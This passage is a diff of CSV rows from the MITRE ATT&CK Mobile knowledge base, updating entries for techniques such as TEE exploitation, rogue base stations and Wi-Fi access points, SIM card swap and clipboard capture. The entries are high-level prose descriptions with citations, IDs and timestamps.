-"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1405', 'external_id': 'T1405'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html', 'external_id': 'APP-27'}, {'source_name': 'Thomas-TrustZone', 'description': 'Josh Thomas and Charles Holmes. (2015, September). An infestation of dragons: Exploring vulnerabilities in the ARM TrustZone architecture. Retrieved December 9, 2016.', 'url': 'https://usmile.at/symposium/program/2015/thomas-holmes'}, {'source_name': 'QualcommKeyMaster', 'description': ""laginimaineb. (2016, June). Extracting Qualcomm's KeyMaster Keys - Breaking Android Full Disk Encryption. Retrieved December 9, 2016."", 'url': 'https://bits-please.blogspot.in/2016/06/extracting-qualcomms-keymaster-keys.html'}, {'source_name': 'EkbergTEE', 'description': 'Jan-Erik Ekberg. (2015, September 10). Android and trusted execution environments. Retrieved December 9, 2016.', 'url': 'https://usmile.at/symposium/program/2015/ekberg'}, {'source_name': 'laginimaineb-TEE', 'description': 'laginimaineb. (2016, May). War of the Worlds - Hijacking the Linux Kernel from QSEE. Retrieved December 21, 2016.', 'url': 'http://bits-please.blogspot.co.il/2016/05/war-of-worlds-hijacking-linux-kernel.html'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'privilege-escalation'}]",1.0,,https://attack.mitre.org/techniques/T1405,mitre-mobile-attack,T1405,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Exploit TEE Vulnerability,"A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).",attack-pattern--ef771e03-e080-43b4-a619-ac6f84899884,attack-pattern,"['credential-access', 'privilege-escalation']",2018-10-17T00:14:20.652Z,2017-10-25T14:48:22.716Z,,,,,,['Android'],,,,,,,,,MOB-T1008,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1467', 'external_id': 'T1467'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'CEL-7'}, {'source_name': 'Computerworld-Femtocell', 'description': 'Jaikumar Vijayan. (2013, August 1). Researchers exploit cellular tech flaws to intercept phone calls. Retrieved December 24, 2016.', 'url': 'http://www.computerworld.com/article/2484538/cybercrime-hacking/researchers-exploit-cellular-tech-flaws-to-intercept-phone-calls.html'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]",1.1,,https://attack.mitre.org/techniques/T1467,mitre-mobile-attack,T1467,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Rogue Cellular Base Station,An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. A compromised cellular femtocell could be used to carry out this technique(Citation: Computerworld-Femtocell).,attack-pattern--a5de0540-73e7-4c67-96da-4143afedc7ed,attack-pattern,['network-effects'],2019-02-03T15:17:11.346Z,2017-10-25T14:48:22.296Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1070,,,,,['Without Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1420', 'external_id': 'T1420'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]",1.0,,https://attack.mitre.org/techniques/T1420,mitre-mobile-attack,T1420,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,File and Directory Discovery,"On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there. +Products from Cellebrite and Grayshift purportedly can use physical access to the data port to unlock the passcode on some iOS devices(Citation: Computerworld-iPhoneCracking).",['initial-access'],https://attack.mitre.org/techniques/T1458,mitre-mobile-attack,T1458,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1061 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1405', 'external_id': 'T1405'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html', 'external_id': 'APP-27'}, {'source_name': 'Thomas-TrustZone', 'description': 'Josh Thomas and Charles Holmes. (2015, September). An infestation of dragons: Exploring vulnerabilities in the ARM TrustZone architecture. Retrieved December 9, 2016.', 'url': 'https://usmile.at/symposium/program/2015/thomas-holmes'}, {'source_name': 'QualcommKeyMaster', 'description': ""laginimaineb. (2016, June). Extracting Qualcomm's KeyMaster Keys - Breaking Android Full Disk Encryption. Retrieved December 9, 2016."", 'url': 'https://bits-please.blogspot.in/2016/06/extracting-qualcomms-keymaster-keys.html'}, {'source_name': 'EkbergTEE', 'description': 'Jan-Erik Ekberg. (2015, September 10). Android and trusted execution environments. Retrieved December 9, 2016.', 'url': 'https://usmile.at/symposium/program/2015/ekberg'}, {'source_name': 'laginimaineb-TEE', 'description': 'laginimaineb. (2016, May). War of the Worlds - Hijacking the Linux Kernel from QSEE. Retrieved December 21, 2016.', 'url': 'http://bits-please.blogspot.co.il/2016/05/war-of-worlds-hijacking-linux-kernel.html'}]",1.0,attack-pattern,attack-pattern--ef771e03-e080-43b4-a619-ac6f84899884,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:22.716Z,2018-10-17T00:14:20.652Z,Exploit TEE Vulnerability,"A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: laginimaineb-TEE).","['credential-access', 'privilege-escalation']",https://attack.mitre.org/techniques/T1405,mitre-mobile-attack,T1405,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Android'],,,,,,,,['Post-Adversary Device Access'],MOB-T1008 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1467', 'external_id': 'T1467'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html', 'external_id': 'CEL-7'}, {'source_name': 'Computerworld-Femtocell', 'description': 'Jaikumar Vijayan. (2013, August 1). Researchers exploit cellular tech flaws to intercept phone calls. Retrieved December 24, 2016.', 'url': 'http://www.computerworld.com/article/2484538/cybercrime-hacking/researchers-exploit-cellular-tech-flaws-to-intercept-phone-calls.html'}]",1.1,attack-pattern,attack-pattern--a5de0540-73e7-4c67-96da-4143afedc7ed,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:22.296Z,2019-02-03T15:17:11.346Z,Rogue Cellular Base Station,An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. A compromised cellular femtocell could be used to carry out this technique(Citation: Computerworld-Femtocell).,['network-effects'],https://attack.mitre.org/techniques/T1467,mitre-mobile-attack,T1467,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Without Adversary Device Access'],MOB-T1070 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'discovery'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1420', 'external_id': 'T1420'}]",1.0,attack-pattern,attack-pattern--cf28ca46-1fd3-46b4-b1f6-ec0b72361848,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:21.965Z,2018-10-17T00:14:20.652Z,File and Directory Discovery,"On Android, command line tools or the Java file APIs can be used to enumerate file system contents. However, Linux file permissions and SELinux policies generally strongly restrict what can be accessed by apps (without taking advantage of a privilege escalation exploit). The contents of the external storage directory are generally visible, which could present concern if sensitive data is inappropriately stored there. -iOS's security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.",attack-pattern--cf28ca46-1fd3-46b4-b1f6-ec0b72361848,attack-pattern,['discovery'],2018-10-17T00:14:20.652Z,2017-10-25T14:48:21.965Z,,,,,,['Android'],,,,,,,,,MOB-T1023,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1466', 'external_id': 'T1466'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'CEL-3'}, {'source_name': 'NIST-SP800187', 'description': 'Jeffrey Cichonski, Joshua M Franklin, Michael Bartock. (2017, December). Guide to LTE Security. Retrieved January 20, 2017.', 'url': 'http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]",1.1,,https://attack.mitre.org/techniques/T1466,mitre-mobile-attack,T1466,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Downgrade to Insecure Protocols,"An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate(Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.",attack-pattern--f58cd69a-e548-478b-9248-8a9af881dc34,attack-pattern,['network-effects'],2019-02-03T15:16:13.386Z,2017-10-25T14:48:21.667Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1069,,,,,['Without Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1465', 'external_id': 'T1465'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-0.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'LPN-0'}, {'source_name': 'NIST-SP800153', 'description': 'M. Souppaya and K. Scarfone. (2012, February). NIST SP 800-153 Guidelines for Securing Wireless Local Area Networks (WLANs). Retrieved December 24, 2016.', 'url': 'http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-153.pdf'}, {'source_name': 'Kaspersky-DarkHotel', 'description': 'Alex Drozhzhin. (2014, November 10). Darkhotel: a spy campaign in luxury Asian hotels. Retrieved December 24, 2016.', 'url': 'https://blog.kaspersky.com/darkhotel-apt/6613/'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]",1.1,,https://attack.mitre.org/techniques/T1465,mitre-mobile-attack,T1465,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Rogue Wi-Fi Access Points,"An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication(Citation: NIST-SP800153)(Citation: Kaspersky-DarkHotel).",attack-pattern--633baf01-6de4-4963-bb54-ff6c6357bed3,attack-pattern,['network-effects'],2019-02-03T15:15:18.023Z,2017-10-25T14:48:21.354Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1068,,,,,['Without Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1468', 'external_id': 'T1468'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'ECO-5'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'EMM-7'}, {'description': 'Brian Krebs. (2018, May 17). Tracking Firm LocationSmart Leaked Location Data for Customers of All Major U.S. Mobile Carriers Without Consent in Real Time Via Its Web Site. Retrieved November 8, 2018.', 'url': 'https://krebsonsecurity.com/2018/05/tracking-firm-locationsmart-leaked-location-data-for-customers-of-all-major-u-s-mobile-carriers-in-real-time-via-its-web-site/', 'source_name': 'Krebs-Location'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'remote-service-effects'}]",1.1,,https://attack.mitre.org/techniques/T1468,mitre-mobile-attack,T1468,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Remotely Track Device Without Authorization,An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.(Citation: Krebs-Location),attack-pattern--6f86d346-f092-4abc-80df-8558a90c426a,attack-pattern,['remote-service-effects'],2019-02-03T14:16:59.424Z,2017-10-25T14:48:21.023Z,"Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1071,,,,,['Without Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1435', 'external_id': 'T1435'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html', 'external_id': 'APP-13'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]",1.0,,https://attack.mitre.org/techniques/T1435,mitre-mobile-attack,T1435,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Access Calendar Entries,"An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.",attack-pattern--62adb627-f647-498e-b4cc-41499361bacb,attack-pattern,['collection'],2018-10-17T00:14:20.652Z,2017-10-25T14:48:20.727Z,"On both Android (6.0 and up) and iOS, the user can view which applications have permission to access calendar information through the device settings screen, and the user can choose to revoke the permissions.",,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1038,,,,,['Post-Adversary Device Access'] -"[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1451', 'external_id': 'T1451'}, {'url': 'https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-22.html', 'source_name': 'NIST Mobile Threat Catalogue', 'external_id': 'STA-22'}, {'source_name': 'NYGov-Simswap', 'description': 'New York Department of State. (2016, February 12). AT&T SIM-Card Switch Scam. Retrieved August 23, 2016.', 'url': 'http://www.dos.ny.gov/consumerprotection/scams/att-sim.html'}, {'source_name': 'Motherboard-Simswap2', 'description': 'Lorenzo Franceschi-Bicchierai. (2018, August 3). How Criminals Recruit Telecom Employees to Help Them Hijack SIM Cards. Retrieved August 11, 2018.', 'url': 'https://motherboard.vice.com/en_us/article/3ky5a5/criminals-recruit-telecom-employees-sim-swapping-port-out-scam'}, {'source_name': 'Betanews-Simswap', 'description': 'Alex Cambell. (2016, February 12). Everything you need to know about SIM swap scams. Retrieved December 12, 2016.', 'url': 'http://betanews.com/2016/02/12/everything-you-need-to-know-about-sim-swap-scams/'}, {'source_name': 'Guardian-Simswap', 'description': 'Miles Brignall. (2016, April 16). Sim-swap fraud claims another mobile banking victim. Retrieved December 12, 2016.', 'url': 'https://www.theguardian.com/money/2016/apr/16/sim-swap-fraud-mobile-banking-fraudsters'}, {'source_name': 'Motherboard-Simswap1', 'description': 'Lorenzo Franceschi-Bicchierai. (2018, July 17). The SIM Hijackers. Retrieved August 11, 2018.', 'url': 'https://motherboard.vice.com/en_us/article/vbqax3/hackers-sim-swapping-steal-phone-numbers-instagram-bitcoin'}, {'description': 'Brian Krebs. (2018, May 18). T-Mobile Employee Made Unauthorized ‘SIM Swap’ to Steal Instagram Account. Retrieved November 8, 2018.', 'url': 'https://krebsonsecurity.com/2018/05/t-mobile-employee-made-unauthorized-sim-swap-to-steal-instagram-account/', 'source_name': 'Krebs-SimSwap'}, {'description': 'John Biggs. (2017, August 23). I was hacked. Retrieved November 8, 2018.', 'url': 'https://techcrunch.com/2017/08/23/i-was-hacked/', 'source_name': 'TechCrunch-SimSwap'}]","[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]",1.1,,https://attack.mitre.org/techniques/T1451,mitre-mobile-attack,T1451,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,SIM Card Swap,"An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account (Citation: NYGov-Simswap) (Citation: Motherboard-Simswap2). The adversary could then obtain SMS messages or hijack phone calls intended for someone else (Citation: Betanews-Simswap). +iOS's security architecture generally restricts the ability to perform file and directory discovery without use of escalated privileges.",['discovery'],https://attack.mitre.org/techniques/T1420,mitre-mobile-attack,T1420,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,['Android'],,,,,,,,['Post-Adversary Device Access'],MOB-T1023 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1466', 'external_id': 'T1466'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html', 'external_id': 'CEL-3'}, {'source_name': 'NIST-SP800187', 'description': 'Jeffrey Cichonski, Joshua M Franklin, Michael Bartock. (2017, December). Guide to LTE Security. Retrieved January 20, 2017.', 'url': 'http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf'}]",1.1,attack-pattern,attack-pattern--f58cd69a-e548-478b-9248-8a9af881dc34,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:21.667Z,2019-02-03T15:16:13.386Z,Downgrade to Insecure Protocols,"An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate(Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.",['network-effects'],https://attack.mitre.org/techniques/T1466,mitre-mobile-attack,T1466,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Without Adversary Device Access'],MOB-T1069 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1465', 'external_id': 'T1465'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-0.html', 'external_id': 'LPN-0'}, {'source_name': 'NIST-SP800153', 'description': 'M. Souppaya and K. Scarfone. (2012, February). NIST SP 800-153 Guidelines for Securing Wireless Local Area Networks (WLANs). Retrieved December 24, 2016.', 'url': 'http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-153.pdf'}, {'source_name': 'Kaspersky-DarkHotel', 'description': 'Alex Drozhzhin. (2014, November 10). Darkhotel: a spy campaign in luxury Asian hotels. Retrieved December 24, 2016.', 'url': 'https://blog.kaspersky.com/darkhotel-apt/6613/'}]",1.1,attack-pattern,attack-pattern--633baf01-6de4-4963-bb54-ff6c6357bed3,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:21.354Z,2019-02-03T15:15:18.023Z,Rogue Wi-Fi Access Points,"An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication(Citation: NIST-SP800153)(Citation: Kaspersky-DarkHotel).",['network-effects'],https://attack.mitre.org/techniques/T1465,mitre-mobile-attack,T1465,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,,,,"['Android', 'iOS']",,,,,,,,['Without Adversary Device Access'],MOB-T1068 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'remote-service-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1468', 'external_id': 'T1468'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html', 'external_id': 'ECO-5'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html', 'external_id': 'EMM-7'}, {'source_name': 'Krebs-Location', 'description': 'Brian Krebs. (2018, May 17). Tracking Firm LocationSmart Leaked Location Data for Customers of All Major U.S. Mobile Carriers Without Consent in Real Time Via Its Web Site. Retrieved November 8, 2018.', 'url': 'https://krebsonsecurity.com/2018/05/tracking-firm-locationsmart-leaked-location-data-for-customers-of-all-major-u-s-mobile-carriers-in-real-time-via-its-web-site/'}]",1.1,attack-pattern,attack-pattern--6f86d346-f092-4abc-80df-8558a90c426a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:21.023Z,2019-02-03T14:16:59.424Z,Remotely Track Device Without Authorization,An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google's Android Device Manager or Apple iCloud's Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.(Citation: Krebs-Location),['remote-service-effects'],https://attack.mitre.org/techniques/T1468,mitre-mobile-attack,T1468,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"Google sends a notification to the device when Android Device Manager is used to locate it. Additionally, Google provides the ability for users to view their general account activity. Apple iCloud also provides notifications to users of account activity.",,,"['Android', 'iOS']",,,,,,,,['Without Adversary Device Access'],MOB-T1071 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1435', 'external_id': 'T1435'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html', 'external_id': 'APP-13'}]",1.0,attack-pattern,attack-pattern--62adb627-f647-498e-b4cc-41499361bacb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:20.727Z,2018-10-17T00:14:20.652Z,Access Calendar Entries,"An adversary could call standard operating system APIs from a malicious application to gather calendar entry data, or with escalated privileges could directly access files containing calendar data.",['collection'],https://attack.mitre.org/techniques/T1435,mitre-mobile-attack,T1435,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,,,"On both Android (6.0 and up) and iOS, the user can view which applications have permission to access calendar information through the device settings screen, and the user can choose to revoke the permissions.",,,"['Android', 'iOS']",,,,,,,,['Post-Adversary Device Access'],MOB-T1038 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'network-effects'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1451', 'external_id': 'T1451'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-22.html', 'external_id': 'STA-22'}, {'source_name': 'NYGov-Simswap', 'description': 'New York Department of State. (2016, February 12). AT&T SIM-Card Switch Scam. Retrieved August 23, 2016.', 'url': 'http://www.dos.ny.gov/consumerprotection/scams/att-sim.html'}, {'source_name': 'Motherboard-Simswap2', 'description': 'Lorenzo Franceschi-Bicchierai. (2018, August 3). How Criminals Recruit Telecom Employees to Help Them Hijack SIM Cards. Retrieved August 11, 2018.', 'url': 'https://motherboard.vice.com/en_us/article/3ky5a5/criminals-recruit-telecom-employees-sim-swapping-port-out-scam'}, {'source_name': 'Betanews-Simswap', 'description': 'Alex Cambell. (2016, February 12). Everything you need to know about SIM swap scams. Retrieved December 12, 2016.', 'url': 'http://betanews.com/2016/02/12/everything-you-need-to-know-about-sim-swap-scams/'}, {'source_name': 'Guardian-Simswap', 'description': 'Miles Brignall. (2016, April 16). Sim-swap fraud claims another mobile banking victim. Retrieved December 12, 2016.', 'url': 'https://www.theguardian.com/money/2016/apr/16/sim-swap-fraud-mobile-banking-fraudsters'}, {'source_name': 'Motherboard-Simswap1', 'description': 'Lorenzo Franceschi-Bicchierai. (2018, July 17). The SIM Hijackers. Retrieved August 11, 2018.', 'url': 'https://motherboard.vice.com/en_us/article/vbqax3/hackers-sim-swapping-steal-phone-numbers-instagram-bitcoin'}, {'source_name': 'Krebs-SimSwap', 'description': 'Brian Krebs. (2018, May 18). T-Mobile Employee Made Unauthorized ‘SIM Swap’ to Steal Instagram Account. Retrieved November 8, 2018.', 'url': 'https://krebsonsecurity.com/2018/05/t-mobile-employee-made-unauthorized-sim-swap-to-steal-instagram-account/'}, {'source_name': 'TechCrunch-SimSwap', 'description': 'John Biggs. (2017, August 23). I was hacked. Retrieved November 8, 2018.', 'url': 'https://techcrunch.com/2017/08/23/i-was-hacked/'}]",1.2,attack-pattern,attack-pattern--a64a820a-cb21-471f-920c-506a2ff04fa5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-10-25T14:48:20.329Z,2021-09-30T18:45:26.323Z,SIM Card Swap,"An adversary could convince the mobile network operator (e.g. through social networking, forged identification, or insider attacks performed by trusted employees) to issue a new SIM card and associate it with an existing phone number and account.(Citation: NYGov-Simswap)(Citation: Motherboard-Simswap2) The adversary could then obtain SMS messages or hijack phone calls intended for someone else.(Citation: Betanews-Simswap) -One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account (Citation: Guardian-Simswap) (Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap).",attack-pattern--a64a820a-cb21-471f-920c-506a2ff04fa5,attack-pattern,['network-effects'],2019-02-03T14:13:24.168Z,2017-10-25T14:48:20.329Z,,,,,,"['Android', 'iOS']",,,,,,,,,MOB-T1054,,,,,['Without Adversary Device Access'] -"[{'external_id': 'T1414', 'url': 'https://attack.mitre.org/techniques/T1414', 'source_name': 'mitre-mobile-attack'}, {'external_id': 'APP-35', 'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html'}, {'source_name': 'Fahl-Clipboard', 'url': 'http://saschafahl.de/static/paper/pwmanagers2013.pdf', 'description': 'Fahl, S, et al.. (2013). Hey, You, Get Off of My Clipboard. Retrieved August 27, 2019.'}, {'source_name': 'Github Capture Clipboard 2019', 'url': 'https://github.com/grepx/android-clipboard-security', 'description': 'Pearce, G. (, January). Retrieved August 8, 2019.'}, {'source_name': 'Android 10 Privacy Changes', 'url': 'https://developer.android.com/about/versions/10/privacy/changes#clipboard-data', 'description': 'Android Developers. (n.d.). Privacy changes in Android 10. Retrieved September 11, 2019.'}]","[{'phase_name': 'collection', 'kill_chain_name': 'mitre-mobile-attack'}, {'phase_name': 'credential-access', 'kill_chain_name': 'mitre-mobile-attack'}]",2.0,,https://attack.mitre.org/techniques/T1414,mitre-mobile-attack,T1414,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Capture Clipboard Data,"Adversaries may abuse Clipboard Manager APIs to obtain sensitive information copied to the global clipboard. For example, passwords being copy-and-pasted from a password manager app could be captured by another application installed on the device.(Citation: Fahl-Clipboard) +One use case is intercepting authentication messages or phone calls to obtain illicit access to online banking or other online accounts, as many online services allow account password resets by sending an authentication code over SMS to a phone number associated with the account.(Citation: Guardian-Simswap)(Citation: Motherboard-Simswap1)(Citation: Krebs-SimSwap)(Citation: TechCrunch-SimSwap)",['network-effects'],https://attack.mitre.org/techniques/T1451,mitre-mobile-attack,T1451,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Karim Hasanen, @_karimhasanen']",,,,False,,"['Android', 'iOS']",,,,,,,,['Without Adversary Device Access'],MOB-T1054 +"[{'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'collection'}, {'kill_chain_name': 'mitre-mobile-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-mobile-attack', 'url': 'https://attack.mitre.org/techniques/T1414', 'external_id': 'T1414'}, {'source_name': 'NIST Mobile Threat Catalogue', 'url': 'https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html', 'external_id': 'APP-35'}, {'source_name': 'Fahl-Clipboard', 'description': 'Fahl, S, et al.. (2013). Hey, You, Get Off of My Clipboard. Retrieved August 27, 2019.', 'url': 'http://saschafahl.de/static/paper/pwmanagers2013.pdf'}, {'source_name': 'Github Capture Clipboard 2019', 'description': 